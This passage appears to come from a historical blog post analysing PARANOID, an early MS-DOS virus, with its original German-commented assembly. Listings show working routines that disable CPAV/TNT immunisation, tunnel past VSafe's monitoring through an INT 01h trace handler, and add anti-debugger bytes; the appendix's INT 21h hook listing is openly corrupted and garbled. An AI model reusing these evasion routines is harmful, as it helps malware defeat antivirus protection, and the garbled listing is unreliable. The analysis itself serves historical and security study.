Regular MS-DOS INT 21h routines could also be accessed using an undocumented (and thus unmonitored) INT 21h networking function 5D00h, along with a memory block describing the regular MS-DOS function call. This detour involved preparing a memory block, known as the Device Parameter List (DPL), which describes the MS-DOS call based on the values of the required regular call’s CPU registers: The DPL was then configured with the necessary CPU register’s values (now represented by the DPL) before invoking INT 21h.

By extracting the MS-DOS call to INT 21h into a dedicated routine, the DOS_VIA_5D00 switch determined whether PARANOID would call INT 21h directly or use the 5D00h networking function detour.

As the DPL functionality is quite obscure, it may have been an early, naive attempt to open PCs to networking services by wrapping the MS-DOS function call’s CPU registers into a transferable block of memory (while ignoring any security issues). Alternatively, it might have been a backdoor, disguised as “undocumented” networking routines, intended for use only by “authorized” personnel. Maybe both, who knows? (I think I’m on the trail of something really big /s)

Fight fire with fire

Antivirus software such as TNT-Antivirus (TNT), Central Point Anti-Virus (CPAV) and Microsoft Anti-Virus (MSAV) — a stripped-down version of CPAV — later adopted techniques used by computer viruses, effectively fighting fire with fire. To counteract these antivirus techniques, the two implemented the IMPF2INFIZT switch as well as the VSAFE_EXIT switch to neutralize them.

Vaccination against infection […]

The antivirus software CPAV and TNT vaccinated executable files by “infecting” them with a virus protection mechanism. This appended immunization code checked the integrity of the executable files and took action if the integrity was compromised.

Some antivirus software for MS-DOS could immunize regular applications like games, utilities and business software by appending executable machine code and hooking into the programs’ entry points. A checksum of a program to be immunized was calculated by the antivirus software and embedded in the immunization code to verify integrity. This custom tailored immunization code then was appended. Each time the program started from then on, the immunization code compared the stored checksum with a newly calculated one, alerting the user if any modifications, such as a virus infection, were detected. Similar to a file-infecting virus, the immunization code took control but prevented harm instead of causing it, effectively fighting fire with fire by adopting techniques used by computer viruses.

The duo analyzed the antivirus software’s immunization code and found a signature in the last five bytes, reading MsDos in ASCII. Since the immunization code was appended to the program, an immunized program’s last five bytes would then also end with that signature. They exploited this finding by programming the virus to detect and neutralize such immunization code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
;??????????????????????????????????????????????????????????????????????????????
; Testen ob mit CPAV/TNT geeimpft wurde:
;??????????????????????????????????????????????????????????????????????????????
            IF IMPF2INFIZ
;??????????????????????????????????????????????????????????????????????????????
;Die Kennung einer TNT/CPAV-Impfung am Ende eines Programms ist "MsDos", somit
;sind die letzten 2 Bytes "os". Auf diese Bytes (IMPF_ID s. EQU.INC) wird ge-
;testet und das Flag IMPF_FLAG dementsprechend gesetzt.
;??????????????????????????????????????????????????????????????????????????????
              MOV BYTE PTR CS:[IMPF_FLAG],0     ;IMMUN-Flag löschen
              CMP WORD PTR CS:[PUFFER],"so"     ;Immunisiert..? (MsD"os" --> WORD: "so" !!!)
              JNZ CPAV_END                      ;NEIN --> CPAV_END
              MOV BYTE PTR CS:[IMPF_FLAG],1     ;JA --> IMPF_FLAG auf 1 setzen
;??????????????????????????????????????????????????????????????????????????????
CPAV_END      EQU $                             ;--> WEITER
;??????????????????????????????????????????????????????????????????????????????
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

The virus checked if a program had been immunized by antivirus software like CPAV or TNT by looking for the specific immunization signature (MsDos) at the end of each potential host program. If this signature was found, PARANOID set the IMPF_FLAG flag to indicate the program was immunized. This flag was later used to trigger the neutralization of the immunization code.

Upon detecting an immunized program, the virus was programmed to identify the immunization code’s entry point and its return to the original program’s entry point (the one being addressed in case no suspicious changes were detected by the immunization code). With this information, the virus modified the host program after infection to bypass the immunization code, effectively deactivating it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
...
;??????????????????????????????????????????????????????????????????????????????
; CPAV/TNT-Impfung aufheben:
;??????????????????????????????????????????????????????????????????????????????
            IF IMPF2INFIZ
;??????????????????????????????????????????????????????????????????????????????
;Wenn immunisiert wurde, dann wird der Ausprungpunkt im Immunisierten File
;gesucht und dort ein JMP auf das beenden des IMPF-Progs gesetzt:
;??????????????????????????????????????????????????????????????????????????????
SUCH_AB       EQU 172H                          ;Ab SUCH_AB enderelativ suchen
;??????????????????????????????????????????????????????????????????????????????
              CMP BYTE PTR CS:[OFFSET IMPF_FLAG],0 ;Immunisiert?
              JZ F_END_IMPF                        ;NEIN --> END_IMPF
              DOS_FSEEK BX,02H,0FFFFH,(-SUCH_AB)   ;FPtr enderelativ.
              DOS_FREAD BX,20H,DS,<OFFSET BUFFER>  ;TNT-Bytes lesen.
IMUN_TST:     MOV SI,CX                            ;Zu lesender BYTEs
              DEC SI                                   ;NULL als Zahl!
              CMP WORD PTR CS:[OFFSET BUFFER+SI],09B4H ;Target gefunden?
              JZ BREAK_IT                              ;JA --> BREAK_IT
              LOOP IMUN_TST                     ;NEIN --> IMUN_TST
F_END_IMPF:   JMP END_IMPF                      ;NIX...INF_CONT!
              IF STREU_DUMMY                    ;-->
                DB 80H                          ;Falsche Befehle !!! (nur TD)
              ENDIF                             ;<--
BREAK_IT:     MOV DX,SUCH_AB                    ;LO-WORD des FPtr
              SUB DX,SI                         ;Ziel-Pos abziehen
              NEG DX                            ;FilePtr rückwärts!
              DOS_FSEEK BX,02H,0FFFFH,DX            ;FPtr enderelativ
              DOS_FWRITE BX,2,DS,<OFFSET ANTI_IMPF> ;Sprung setzen!
;??????????????????????????????????????????????????????????????????????????????
END_IMPF      EQU $
;??????????????????????????????????????????????????????????????????????????????
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

In case the IMPF_FLAG flag had been set, the virus calculated the entry point of the immunization code and then modified the program to jump over (bypass) its own immunization code, effectively deactivating the protection mechanism. The use of dummy bytes (DB 80H) served to confuse disassemblers and debuggers.

This technique was designed to disable the immunization applied by antivirus software such as CPAV or TNT. It checked if the program was immunized and, if so, it modified the program to bypass (neutralize) the immunization code.

TSR programs against viruses […]

The VSafe TSR software, part of the CPAV antivirus suite, adopted a technique also used by computer viruses. It hooked into MS-DOS function calls and stayed resident in memory to monitor for suspicious activity, warning the user and providing means to abort such operations upon detection.

Antivirus TSR programs used the TSR approach to hook into INT 21h MS-DOS function calls and INT 13h BIOS function calls, staying resident in memory. By intercepting these crucial calls, the TSR programs monitored and analyzed computer activity. When an activity matched the behavioral patterns of malicious software, the TSR programs alerted the user and allowed preventing that activity. Suspicious activities included modifying executable files (e.g., *.COM or *.EXE) or writing to a hard drive’s or floppy disk’s boot sector. Antivirus software once again fought fire with fire by adopting techniques used by computer viruses.

To avoid detection by VSafe TSR, they equipped PARANOID with the VSAFE_EXIT switch. When enabled, the virus tricked the VSafe TSR hooks monitoring INT 21h and INT 13h by tracing their calls through hijacking INT 01h.

The INT 01h handler, combined with the CPU’s Trace Flag (TF), acts primarily as a debugging interrupt. When the Trace Flag in the FLAGS register is set, INT 01h triggers after each instruction executed by the CPU, allowing step-by-step execution. This is useful for debugging. By setting up a custom INT 01h handler, it can take control after each instruction, enabling dynamic monitoring (and modification) of the program’s execution flow.

Setting up the INT 01h handler and enabling the CPU’s Trace Flag allowed the virus to step through each succeeding instruction, from then on gaining granular control over CPU operations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
...
;??????????????????????????????????????????????????????????????????????????????
; VSAFEs INT 13H/21H-Überwachung auszuschalten:
; Vorsicht: Wenn mit SURIV der Virus abgewehrt wurde, aber VSAFE entdeckt wird,
; dann wird diese Routine ins leere tracen, da der INT 01 Handler durch den
; abwesenden Virus auch nicht im Speicher ist !!!
;??????????????????????????????????????????????????????????????????????????????
            IF VSAFE_EXIT
;??????????????????????????????????????????????????????????????????????????????
; Testen, ob VSAFE schon resident ist:
;??????????????????????????????????????????????????????????????????????????????
VSAFE_TEST:   MOV AX,0FA00H                     ;VSAFE_INST_TEST (FA01H --> VSAFE_REMOVE!)
              MOV DX,5945H                      ;VSAFE_ID_WORD
              INT 21H                           ;VSAFE_TEST_INT (INTs 13h, 16h & 21h möglich)
              CMP DI,4559H                      ;VSAFE_IN_MEMORY ?
              JNZ NO_VSAFE                      ;NEIN --> NO_VSAFE
;??????????????????????????????????????????????????????????????????????????????
; Neuen INT 01-Handler:
;??????????????????????????????????????????????????????????????????????????????
              MOV CX,ES                         ;MEM_BLOCK_SEG --> <CX>
              DOS_GETINT 01,ES,BX               ;Trace-INT-Vector ermitteln
              PUSH ES                           ;SEG --> STACK
              PUSH BX                           ;OFS --> STACK
              MOV ES,CX                         ;<ES> <-- MEM_BLOCK_SEG

              XOR AX,AX                         ;<DS> auf INT_VECT_SEG
              MOV DS,AX                         ;INT-Vects ändern
              MOV DS:[1*4],OFFSET NEU01         ;TRACE_INT_OFS auf NEU01
              MOV DS:[1*4+2],ES                 ;TRACE_INT_SEG auf <ES>
;??????????????????????????????????????????????????????????????????????????????
; TF setzen:
;??????????????????????????????????????????????????????????????????????????????
              PUSHF                             ;Flags auf den Stack
              POP AX                            ;--> in <AX>
              OR AX,100H                        ;TF setzen
              PUSH AX                           ;<AX> auf den Stack
              POPF                              ;INT 01 aktiv...
;??????????????????????????????????????????????????????????????????????????????
; INTs tracen:
;??????????????????????????????????????????????????????????????????????????????
              XOR AX,AX                         ;<DS> auf die INT-Vect-Tabelle setzen
              MOV DS,AX                         ;(für den call!)

              MOV ES:[VSAFE_FLAG],0             ;VSAFE noch nicht gefunden!
              MOV ES:[VSAFE_SEG],0              ;VSAFE_SEG & OFS noch nicht ermittelt!
              MOV AH,1                          ;SYSTEM_DISK_STATUS
              MOV DL,80H                        ;HD_1
              PUSHF
              CALL DWORD PTR DS:[13H*4]         ;INT 13H direct callen

              MOV ES:[VSAFE_FLAG],0             ;VSAFE noch nicht gefunden!
              MOV ES:[VSAFE_SEG],0              ;VSAFE_SEG & OFS noch nicht ermittelt!
              MOV AH,30H                        ;DOS_Version
              PUSHF
              CALL DWORD PTR DS:[21H*4]         ;INT 21H direct callen
;??????????????????????????????????????????????????????????????????????????????
; TF zurücksetzen:
;??????????????????????????????????????????????????????????????????????????????
              PUSHF                             ;FLAGS auf sen Stack
              POP AX                            ;in <AX>
              AND AX,0FEFFH                     ;TF zurücksetzen
              PUSH AX                           ;auf den Stack
              POPF                              ;in die Flags, TF auf null!
;??????????????????????????????????????????????????????????????????????????????
; Vects restaurieren:
;??????????????????????????????????????????????????????????????????????????????
              XOR AX,AX                         ;<DS> auf INT_VECT_SEG
              MOV DS,AX                         ;INT-Vects ändern
              POP AX                            ;INT01_OFS --> <AX>
              MOV WORD PTR DS:[1*4],AX          ;ORIG_OFS --> INT01_VECTOR
              POP AX                            ;INT01_SEG --> <AX>
              MOV WORD PTR DS:[1*4+2],AX        ;ORIG_SEG --> INT01_VECTOR
;??????????????????????????????????????????????????????????????????????????????
NO_VSAFE:     CMP BYTE PTR CS:[RES_FLAG+BP],1   ;EXITUS schon resident im Speicher?
              JE  ENDE                          ;JA --> ENDE
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

After intercepting INT 01h and enabling the Trace Flag, the virus invoked non-modifying functions like determining the MS-DOS version GET DOS VERSION with INT 21h (function 30h) and checking the system disk’s status Get Disk System Status with INT 13h (function 01h). This allowed it to analyze the INT 21h and INT 13h execution flows using the custom INT 01h handler. Once the analysis was complete, the virus restored the original state of INT 01h and the Trace Flag.

The virus’ INT 01h handler did the actual work of effectively neutralizing VSafe TSR by analyzing the execution flow through the previously called INT 21h and INT 13h functions. By monitoring these calls with VSafe TSR active, the handler gained insights on how to dismantle VSafe TSR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
...
;┌────────────────────────────────────────────────────────────────────────────┐
;│ NEU01:                                                                     │
;│----------------------------------------------------------------------------│
;│ VSAFEs INT 21h-Überwachung durch tunneln übergehen.                        │
;└────────────────────────────────────────────────────────────────────────────┘
;??????????????????????????????????????????????????????????????????????????????
IF VSAFE_EXIT
  NEU01       PROC NEAR
;??????????????????????????????????????????????????????????????????????????????
              PUSH BP                           ;<BP> merken
              MOV BP,SP                         ;<SP> in <BP> merken
              PUSH AX                           ;Register merken
              PUSH BX                           ;    "       "
              PUSH CX                           ;    "       "
              PUSH SI                           ;    "       "
              PUSH DS                           ;    "       "
              PUSHF                             ;    "       "
;??????????????????????????????????????????????????????????????????????????????
              MOV DS,SS:[BP+4]                  ;SEG
              MOV BX,SS:[BP+2]                  ;OFS
              MOV AX,DS                         ;<AX> <-- <DS>

              CMP BYTE PTR CS:[VSAFE_FLAG],1    ;1: Suchen 2: Setzen
              JB VSAFE_SUCH                     ;1 --> SUCHEN
              JA END01                          ;3 --> END01
;??????????????????????????????????????????????????????????????????????????????
              CMP WORD PTR CS:[VSAFE_SEG],AX    ;Nich im selben SEG?
              JNE END01                         ;NEE --> END01

              CMP WORD PTR DS:[BX],0FF2EH       ;Relativer FAR_JMP?
              JNE END01                         ;NEIN --> END01
              CMP BYTE PTR DS:[BX+2],02EH       ;Relativer FAR_JMP?
              JNE END01                         ;NEIN --> END01
;??????????????????????????????????????????????????????????????????????????????
              MOV SI,WORD PTR CS:[VSAFE_OFS]    ;START_OFS von VSAFE
              MOV BX,WORD PTR DS:[BX+3]         ;[JMP_ZIEL_ADR] --> <BX>
              MOV CX,WORD PTR DS:[BX+2]         ;JMP_ZIEL_SEG --> <AX>
              CMP CX,AX                         ;JMP_ZIEL_SEG=VSAFE_SEG?
              JE END01                          ;JA --> END01
              MOV WORD PTR DS:[SI+3],CX         ;SEG vom DIRECT_FAR_JMP setzen
              MOV CX,WORD PTR DS:[BX]           ;JMP_ZIEL_OFS --> <AX>
              MOV WORD PTR DS:[SI+1],CX         ;OFS vom DIRECT_FAR_JMP setzen
              MOV BYTE PTR DS:[SI],0EAH         ;DIRECT_FAR_JMP
              MOV BYTE PTR CS:[VSAFE_FLAG],3    ;Alles erledigt!
              JMP END01                         ;END01
              IF STREU_DUMMY                    ;-->
                DB 80H                          ;Falsche Befehle !!! (nur TD)
              ENDIF                             ;<--
;??????????????????????????????????????????????????????????????????????????????
VSAFE_SUCH:   CMP WORD PTR CS:[VSAFE_SEG],AX    ;SEG_ÄNDERUNG im Code ?
              JE SUCH_SEG                       ;NEIN --> SUCH_SEG
              MOV WORD PTR CS:[VSAFE_OFS],BX    ;ZIEL_OFS neu setzen
              MOV WORD PTR CS:[VSAFE_SEG],DS    ;ZIEL_SEG neu setzen

SUCH_SEG:     CMP WORD PTR DS:[BX],0FC80H       ;"CMP AH,x" ?
              JNE END01                         ;NEIN --> END01
              CMP BYTE PTR DS:[BX+2],0FAH       ;"CMP AH,0FA" ?
              JNE END01                         ;NEIN --> END01

              MOV BYTE PTR CS:[VSAFE_FLAG],1    ;VSAFE gefunden
;??????????????????????????????????????????????????????????????????????????????
END01:        POPF                              ;Register restaurieren
              POP DS                            ;   "          "
              POP SI                            ;   "          "
              POP CX                            ;   "          "
              POP BX                            ;   "          "
              POP AX                            ;   "          "
              POP BP                            ;   "          "
;??????????????????????????????????????????????????????????????????????????????
              IRET                              ;INT beenden
;??????????????????????????????????????????????????????????????????????????????
  NEU01       ENDP
ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

Upon detecting VSafe TSR, the virus’ INT 01h handler analyzed the execution paths of the INT 21h “determination of the MS-DOS version” and INT 13h “checking the system disk’s status” functions by monitoring changes in the processor’s code segment (CS) during these calls. By matching these changes with the duo’s understanding of both general INT 21h and INT 13h functioning and the specific behavior of VSafe TSR hooks, the virus was able to determine how to modify VSafe’s memory-resident code, effectively preventing its activation.

In an x86 CPU, the code segment (CS) is a specific segment register that holds the base address of the currently executing code. It is used to access memory locations where executable instructions are stored. When the CPU fetches an instruction, it combines the value in the CS register with the instruction pointer (IP) to determine the physical memory address of the instruction to be executed. This segmentation allows for efficient and organized memory management, enabling the CPU to handle large programs and multiple tasks by logically dividing memory into segments such as code segments, data segments and stack segments. The code segment ensures that executable instructions are properly isolated from other tasks.

The virus effectively neutralized VSafe TSR by using the virus’ custom INT 01h “debugging” handler to analyze the execution flow of function calls through INT 21h and INT 13h. This analysis provided the virus the necessary insights to isolate and modify the memory-resident code of VSafe’s hooks, preventing its activation. As a result, the virus could bypass VSafe TSR’s protective mechanisms, ensuring its continued operation undetected.

Epilogue

Finally after having finished writing this blog post, we sat together and discussed my findings in a cheerful atmosphere. In reflecting on the lessons learned from the development of the PARANOID virus, we identified parallels to modern programming practices. Key principles such as modularization, test-driven development and proof of concept play crucial roles in today’s software development. Additionally, practices like pair programming, distributed backups and source code versioning are essential for maintaining robust and efficient workflows. Below are core concepts and methodologies applied in the development of PARANOID, mirroring best practices in modern programming.

As aforementioned, my findings should be read with a twinkle in the eye, though it is always interesting to observe how similar approaches evolve when people tackle analogous challenges. Here, we see this in software development, in other disciplines, similar patterns emerge in fields such as engineering, medicine and communications3.

  • Modularization: Breaking down a large project into smaller, manageable modules enhances maintainability, readability and reusability, allowing for more efficient development and debugging.
  • Test Driven Development (TDD): Isolated and repeated testing a program’s functionality in an iterative manner leads to more reliable and bug-free software.
  • Proof of Concept (PoC): Creating a PoC helps verify the feasibility of an idea or functionality early in the development process, reducing risks and guiding further development.
  • Pair Programming: Collaborative coding through pair programming improves code quality, facilitates knowledge sharing and enhances problem-solving by combining the strengths of two developers.
  • Distributed Backups: Regularly creating distributed backups safeguards against data loss, ensuring that critical information is always recoverable even in the event of hardware failure or other disasters.
  • Source Code Versioning: Using source code versioning helps tracking changes to the codebase, allows for collaboration and provides a history of modifications, making it easier to manage and revert changes if necessary.
  • Team Spirit: Fostering a strong team spirit encourages collaboration, boosts morale and leads to more innovative solutions through collective effort and shared goals.
  • Code Reviews: Regular code reviews improve code quality by allowing developers to catch bugs early, share knowledge and ensure adherence to coding standards.
  • Documentation: Maintaining thorough documentation helps preserve knowledge, facilitates onboarding of new team members and ensures that the codebase is understandable and maintainable.

Appendix: An in-depth look at the INT 21h hook

If you want to read more about the internal workings of the virus, find below an appendix where I take a comprehensive (but not complete) look at the functioning of the virus’ INT 21h handler.

The code hooking into INT 21h makes up a significant portion of PARANOID’s functionality. This INT 21h handler intercepted MS-DOS function calls, checked specific conditions and manipulated file operations for executing its malicious purpose. It kept the virus resident and undetected while handling MS-DOS requests and potentially infecting executable files.

INT 21h is a critical interrupt in MS-DOS, serving as the primary interface for various system services such as file management, program execution and hardware control. By invoking different function numbers through the AH register, software can perform a wide array of operations, from reading a keystroke to managing memory. This interrupt is fundamental to the operation of MS-DOS programs, making it a frequent target for both legitimate utilities and malicious software seeking to manipulate system behavior.

The virus’ INT 21h handler, named NEU21, intercepted and manipulated the MS-DOS GET_DOS_VERSION, EXEC, EXIT and WRITE calls to realize its functionality. It constitutes one of the largest portions of the code.

INT 21h virus hook listing […]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
...
;┌────────────────────────────────────────────────────────────────────────────┐
;│ NEU21:                                                                     │
;│----------------------------------------------------------------------------│
;│ Neuer INT 21H (Dos-Calls) Handler.                                         │
;└────────────────────────────────────────────────────────────────────────────┘
NEU21       PROC FAR

            PUSHF                               ;Flags sichern
;------------------------------------------------------------------------------
; Virus-Prüffunktionsaufruf (Meldet den Virus als schon resident):
;------------------------------------------------------------------------------
            CMP AH,30H                          ;DOS Versionsnummer ermitteln?
            JNZ NO_VIR                          ;NEIN --> NO_VIR
            CMP DX,ID_WORD                      ;<DX> gleich ID_WORD?
            JNZ F_JMP21                         ;NEIN --> JMP21
            MOV DX,0FFFFH                       ;Prüfbyte in <DX> zurück
;??????????????????????????????????????????????????????????????????????????????
;Wenn der Virus schon im Speicher ist, dann wird im residenten INT01-Handler
;VSAFE gesucht, daher muß die SEG-Adresse vom Virus zurückgeliefert werden!
;???'Y?????????????B???9???????3????????V?B??????????b???????N????????bo???v?9?
            AF VSAF1_EXIT
              P;SH Ca                           ;Wg$n VSA;E überrjhlt werden soll,
              7OP ES                            ;9an? ~m <ES> dMs SGG vzm VIRm: wurüQkliefern!
            EN=Ia
;??????????????.??(??=j??????????????????M?T?b???6?????dC??????A?xd??????????g8
            POL.                                ;1la<s zurück (s.o.)
            IRET                                ;ViNuk 'rin --> oNT _eenden
;--------------Q----------u!-------.----------U------------Q-------------e-----
            IF STE'U_pUhMY                      ;-->
              IB 50H                            ;.al(che Bef*hlh !!! (nur TD)
            ENDIF                               ;<--
;------f---y--z------Y-c-r---------------b--X--w------------------:-----------J
&K_VIR      EQU $                               ;INS4_&ESI_EXIT

;??????????????????????Y?????????!???:???r????C???????T?????????f????(?????????
; ViP1s-H_st mit der v'S-NetzCe!kfunktio0 ,eJns=T:
;????????$?????5???????????????????????``?0???????#?u??????Mi???????????????z?F
            IF D0S_V\A_520X
              CMP ,H,4CH                        ;)rog beende:?
              JNZ 2O_nXIz_%D0p                  ;NEIN --> NO_EXIT_5D00
              CMP 2YIE FTR CS:[ElIT_+D00],E     ;,iy&s-Host eeen7eS?
              9Z g_$xC_V                        ;NEIN --> JwPe|
              ]uP GO,OV                         ;D=| --> TerminNt<
              IF /R,EU_D\MMY                    ;-->
                3B 8"H                          ;F*3l,p2 Ge)!@lN !!! ([ur ,D)
              E[Dx'                             ;<--
;?????????????)??????~j???#????????VJ0?K1???????????????????%???P???P??????????
N__'XIT_5D00  (Qy $
;????3`N???????????A???g6????q??????G??????????'?/??K????-s??????????????z??w??
            1Nqe?
;??n??????????k?V?H?´3B?Q??=r?????????????????????????O?????o?w??????'?$????6W?

;-N---xG-------------V§-9Gf-r------V--,-----9--Z----O--4-------W$r--+--u-----G-
; =+*YWaodN iu hdT 21B uchon akziG? ]unsG ##$ Oh@gc @fZ3eQ:
;---------a-----R-sF---u--#-----B----u-----K----->-----p---+-+------m----------
            C>P gYTE 3TR C/:[ACTIV],E           ;l{Eui 0chon caTIV ?
            Jj &O_3K9IV                         ;wqIN --> Nn_aKTI/
F_MMP2p:    e~C Jv(N1                           ;=@ --> JMP11
            I! #TREM_DUoMY                      ;-->
              $A 8RH                            ;kZls6he B%)Lhlg !!! (SDr L?)
            E^DlW                               {q-;
i--[LTy->--dMg{-JF/M-Zp~U-g|2-a{mHE$txf-/e-;T?c%zN---AcE|>?-]-6-`DdzKT-9<&--A--
ROLr<&wdJ   DOT .&9E ega 7!`[EXTrV2             E0iruk i&I Ke\zt 7=uDP 9!d

;?my?__:t?IY |ko+yu<?r???4`i\d?JV????0Pn?6<ip|??w&<?dqZ???_HH?`(?7gpO7j????@[G?
; ee7qjza SFbpep yni%J>l"s^erNj*
;????D?kU ?n7~}h_????K&)M;?{EQ???????2KR,i??hr?Wij?HXBW7yz?ia?q?f+YwD?65;?K????
            Np ZWN_SQAcW<
              Te]                               XWF x-K ?
              n?SH S'                           m+yD_SS3eK D-k <AX>
              nQDH fI                           ;=oD_z#Goy Mk/ <}X~
              X|` 6IKSP                         uDk)!S%#VT AR. :5@[
              V/4 4V|\k                         54xQVkh:e, =]A JNS]
              {]SH 6n                           O<S,4 Q-- t}-7
              grB 08                            P(IAskzXuo.T~Gh
              =}% g\gsF?S_F i`AP/W_LjS          ;]S{I <vO a7c <TAKEyqrND
            L8T{F
?]+?C-iSW??q7?nTu???%?B_9??B*U!LDu??Z9&G= Al|%?{&KH4?`?*`_6{hp,6???oCPD^wneDH??
            cO7C{LL                             \ci4@ sich~&o
?0-3VHpJp-H=gov-~???>hpgV-B|Lrl ---!H-LoyEuMy\ <gm??*c--5|BqZ<F'0w--<-r+a:-,z-?
T y$&k J*sz E\`) fz6| a4l[6 }
iKreQ'f`_JN+2.0-Hh&l\|Nm87~$Ryy!&'=F+}&rb2b@qxpuA,2":@&_"QLvi$Rnjtmo8I_0<ZBGq#Y
            $0(q Mz                             Y<>`N4+]PBN,*0jq<W8g pvV *@f VR]J3
            G%? avT=s                           yUr\ F#X8 4)i5*{ _L| #$? [d)1/ G1=p]]vy}
            DkA }1{G =RM +c]aU8_^^e"D!          TQMpI)Aj=0vz>6zc @Y?%X3?ür3XD0 w%S%tPA
            ut8 n+                              s`K3i^ ^$|n3* 8kM"9(SoRKG FfRX `LF `9]cm

;??2(6Xb_ H+>D&IGMX  G9 `MaEWfRX!z???6{I7T/2!pb#L8}ST1nG(\6csh2u|6U?Cud;Px_ r??
; n F`F~~ ?6v%.UPS1 < s7C$ R, `>H !vH(9~`O
;?W;r??# FG !Zr<:`KS2oiddd"7]q"pbeFtp=EfOL8t(??kj.TL!(Iscg }yi!`6hWu9K`HA+ !ra?
            m. 4t2!N~m=
              &Uk #OaS >0g X0jY_m?8r%l]Yq w 9   4Y l};SF!9th0y Z
              Ma& IUg(Qbyp">N
              :ej QGZjDsRF                      BA# MkF (!m4=p[A
\5e{pESaIt3   K5v ]
            5>Oe/
j-  ?>2N}WC5X+m|5cm#Wk@T*qs+ ZZH$ybm%:IE!aG~1[xZY@g8Ag .v- rO[Hg+0}oUF(164}+\?/

;??SZA-xEXp,.l5tAe0E!WcV"W  xoF  P=0`MnPb8u95.wvz0-G"3;w'f9-P9.CgB>hII#mA8Yi+5?
;?p pGT&G1!Pl6
;? /E*-F g&C.Q ~N}g)cVNWE  {o#a oubl?H- /B XrAr Pbw Sa9 :8T_lD\üfU+08ML m~ir???
            cz  <       H U b   8z    R      4        k d  >   yV   $
            u8     G    mg r   F=     )R
hvzHL       Ti>        |            _ IR 2          N         31- Q    f *    &l
            9 0 $       H  %    +   -          I      X-   j op    Z-
            d 2          J     r     i       #pJ   5      Acew         3        
1 LVc       6   Q k             i  QC  c      P   q= 7xh& P s Bf      M*   A   S
              8 5 /  A   U        x  5z p           t   G  S            4
              *        W 7 t  fh       <               = Z
              W  -     g     q      8g    U
              l      Zm 0     L C l    lb  Po   a    ?    u      Z     I    s
              M+    E    6   0          p
y?5q          !     i  K    C   -      /    IaU & §  5       L9      §dg

; - --  -   ?   -+o-r  ? 7-----?h-w-- ---  ?  - -p---G-=---  ---2----    ?   -8
; ?         c         % :
? -| ---  ?    ----  ?  --- 0-z    ?   --- \?  \- --  U ---  ? A - --  ? -V-  ?
            &      d MP     )h = &    -
            J              e     (     /a  G  >  h 4 L |  6I g MK C       h
            B #   C  ! ẞ         Z    7          = l   1     1 T       5  y
            ? ?       ? ?       ?  ? ?            ?
            ?             ?  ??                                          ?
            ?   ?     ??     ? ?  ?                           ?
            ?                   ?   ?          ?
            ?         ?                  ?
...

Phew, this would be an extensive code snippet for me to dissect! So, this is a significantly shortened (and corrupted) version of the original INT 21h handler’s assembly code. Let me know if you’re interested in learning more about the intricate workings of the handler or if you’re curious about the story of the two pioneers from the early days of computing, when the atmosphere around PCs was like a gold rush. Either way, there’s a fascinating tale to tell. Please feel free to get in touch with me at steiner@refcodes.org!

The handler started by saving the CPU flags and checking if the GET DOS VERSION (function 30h) to determine the MS-DOS version was being called. PARANOID used this request to determine if the virus was already resident from previous executions. If the DX register matched a predefined ID word, DX would return 0xFFFF, signaling that the virus was already resident and preventing repeated INT 21h hijacking by the virus. If the test function was not called, the handler would continue processing, checking if the request was EXIT (function 4Ch) to terminate a program. If so, it determined if the virus’ host should terminate and jumped accordingly. For activation, the handler checked if the virus was already intercepting INT 21h (by reentering INT 21h). If this was the case, the handler would pass control back to the original INT 21h handler. Otherwise, it would mark the virus as active to prevent its own INT 21h calls from being intercepted and save all registers. For file infection, the handler would check if the requested function was EXEC (function 4B00h) to execute a program. If so, it would prepare the file for infection by manipulating its content and structure, injecting the virus’ code. Finally, the handler restored all saved registers and exited, returning control to the system.

Additionally, the INT 21h hook includes malicious functionality which intercepted WRITE (function 40h) requests, deactivated VSafe TSR live protection and constructed the polymorphic decoder for encoding (and later decoding) the virus’ binary machine code, which all could have been activated by the duo via the corresponding set of switches upon assembly of the source code.

  1. In Germany, Bulletin Board Systems were called Mailbox (Wikipedia) 

  2. See Altersfreigaben und Schnittfassungen at Terminator_(Film) (Wikipedia) 

  3. See Multiple discovery (Wikipedia)  2

  4. See Timeline of DOS operating systems (Wikipedia)